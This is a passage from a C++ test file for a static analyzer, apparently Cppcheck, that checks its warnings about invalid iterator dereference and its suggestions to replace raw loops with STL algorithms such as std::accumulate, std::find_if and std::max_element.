'e[d].begin()' because 'e[d]' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n // #10151\n check(\"std::set::iterator f(std::set& s) {\\n\"\n \"for (auto it = s.begin(); it != s.end(); ++it)\\n\"\n \" if (*it == 42)\\n\"\n \" return s.erase(it);\\n\"\n \" return s.end();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #11381\n check(\"int f(std::map& map) {\\n\"\n \" auto it = map.find(1);\\n\"\n \" if (it == map.end()) {\\n\"\n \" bool bInserted;\\n\"\n \" std::tie(it, bInserted) = map.emplace(1, 42);\\n\"\n \" }\\n\"\n \" return debug_valueflow(it)->second;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11557\n check(\"bool f(const std::vector& v, std::vector::iterator it, bool b) {\\n\"\n \" if (it == v.end())\\n\"\n \" return false;\\n\"\n \" if (b && ((it + 1) == v.end() || (*(it + 1)) != nullptr))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6925\n check(\"void f(const std::string& s, std::string::iterator i) {\\n\"\n \" if (i != s.end() && *(i + 1) == *i) {\\n\"\n \" if (i + 1 != s.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:2:29]: (warning) Either the condition 'i+1!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(bool b, std::vector v) {\\n\" // #12680\n \" if (!v.empty()) {\\n\"\n \" auto it = v.begin();\\n\"\n \" if (b) {\\n\"\n \" v.clear();\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" for (++it; it != v.end(); ++it) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int);\\n\" // #13064\n \"void g() {\\n\"\n \" std::vector v{ 0 };\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it == v.end()) {\\n\"\n \" f({});\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\" // #13332\n \" const std::vector v = { 1, 2, 3, 4 };\\n\"\n \" const std::vector::const_iterator a[2] = { v.begin(), v.end() };\\n\"\n \" return *a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator2() {\n // Self-implemented iterator class\n check(\"class iterator {\\n\"\n \"public:\\n\"\n \" CCommitPointer m_ptr;\\n\"\n \" iterator() {}\\n\"\n \" CCommitPointer& operator*() {\\n\"\n \" return m_ptr;\\n\"\n \" }\\n\"\n \" CCommitPointer* operator->() {\\n\"\n \" return &m_ptr;\\n\"\n \" }\\n\"\n \" iterator& operator++() {\\n\"\n \" ++m_ptr.m_place;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \" iterator begin() {\\n\"\n \" iterator it;\\n\"\n \" it->m_place = 0;\\n\"\n \" return it;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:18:5]: (error, inconclusive) Invalid iterator 'it' used. [eraseDereference]\\n\", errout_str());\n }\n\n void loopAlgoElementAssign() {\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = x + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" for(int& x:v)\\n\"\n \" x = a + b;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill or std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = f();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" f();\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" f();\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There should probably be a message for unconditional break\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoAccumulateAssign() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b &= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b |= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b && f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b || f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int& x:v)\\n\"\n \" n = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f(const std::map& m) {\\n\" // #10412\n \" std::size_t t = 0;\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); ++i) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); i++) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" return t; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:7:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int g(const std::vector& v) {\\n\"\n \" int t = 0;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" t += *i;\\n\"\n \" }\\n\"\n \" return t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"auto g(const std::vector& v) {\\n\"\n \" std::vector::iterator> r;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" r.push_back(i);\\n\"\n \" }\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(std::vector v) {\\n\"\n \" std::string ret;\\n\"\n \" for (const std::string& s : v)\\n\"\n \" ret += s + '\\\\n';\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& s) {\\n\"\n \" std::string ret;\\n\"\n \" for (char c : s)\\n\"\n \" if (c != ' ')\\n\"\n \" ret += i;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int sum = 0;\\n\"\n \" for (auto it = v.begin(); it != v.end(); it += 2)\\n\"\n \" sum += *it;\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #12900\n \" int x{};\\n\"\n \" for (const auto i : v)\\n\"\n \" x = dostuff(i);\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #11493\n \" int s = 0;\\n\"\n \" for (std::size_t i = 0; i < v.size(); ++i)\\n\"\n \" s += v[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" s += g(i);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int);\\n\"\n \"int f(const std::vector&v, int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" s += g(i) + v[i];\\n\"\n \" }\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoContainerInsert() {\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(v);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoIncrement() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" ++n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void loopAlgoConditional() {\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::replace_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = x + 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:14]: (style) Consider using std::copy_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f();\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if(b) {}\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b |= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b &= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There is no transform_if\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x++;\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" if(x) { return; }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (!g(i))\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Consider using std::any_of, std::all_of, std::none_of algorithm instead of a raw loop.\\n\",\n \"\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5) {\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector v0, v1;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void T::g() {\\n\"\n \" for (std::vector::const_iterator it0 = v0.cbegin(); it0 != v0.cend(); ++it0) {\\n\"\n \" std::vector::iterator it1;\\n\"\n \" for (it1 = v1.begin(); it1 != v1.end(); ++it1)\\n\"\n \" if (*it0 == *it1)\\n\"\n \" break;\\n\"\n \" if (it1 != v1.end())\\n\"\n \" v1.erase(it1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(const std::set& set, const std::string& f) {\\n\" // #11595\n \" for (const std::string& s : set) {\\n\"\n \" if (f.length() >= s.length() && f.compare(0, s.length(), s) == 0) {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #12064\n \" for (const auto& animal : { \\\"cat\\\", \\\"bat\\\", \\\"tiger\\\", \\\"rat\\\" })\\n\"\n \" if (std::strlen(animal) > 4)\\n\"\n \" throw 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& v, const std::vector& w, int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] == w[i])\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (g(i))\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"bool f(const std::vector&v, int n) {\\n\"\n \" bool b{};\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" if (v[i] > 0 && g(i)) {\\n\"\n \" b = true;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoMinMax() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int m) {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > m ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #9091\n \" int maxY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y > maxY)\\n\"\n \" maxY = y;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int minY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y < minY)\\n\"\n \" minY = y;\\n\"\n \" }\\n\"\n \" return minY;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int max = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" max = v[i] > max ? v[i] : max;\\n\"\n \" return max;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int min = 0;\\n\"\n \" for (int i = 0; i < n; 